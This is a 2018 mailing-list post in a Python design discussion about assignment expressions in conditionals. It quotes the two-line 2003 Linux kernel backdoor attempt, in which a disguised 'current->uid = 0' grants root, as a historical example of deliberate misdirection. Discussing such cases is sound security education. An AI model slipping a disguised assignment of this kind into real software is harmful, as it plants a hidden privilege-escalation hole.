seeking deeper (language theory) reason behind Python design choice

[Peter Pearson]

On Wed, 09 May 2018 12:51:15 -0700, Paul Rubin wrote:
> Dennis Lee Bieber <wlfraed at ix.netcom.com> writes:
>> 	Yes, code reviews may catch such errors... and later, when the
>> summary of errors is analyzed for suggestions on how to reduce them --
>> the odds are good that "assignment expressions" will be banned in the
>> style documents for that language at the company.
>
> I don't think I've worked on any C programs with that style restriction
> and I can't think of any times when I found that type of bug in deployed
> code.  I've made the error once or twice while coding, but caught it
> right away during inspection or testing.  Banning it seems
> counterproductive.  I could imagine having it flagged by a compiler
> warning that can be locally disabled by a pragma.  

Interestingly, the problem is broader than inadvertently making the
mistake yourself; it includes catching deliberate misdirection by
others.  In the famous "Linux Backdoor Attempt of 2003"
(https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/),
somebody who I think never got caught introduced these lines
into the code for the wait4 function:

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
            retval = -EINVAL;

Setting the user ID to zero confers root privileges.

- Peter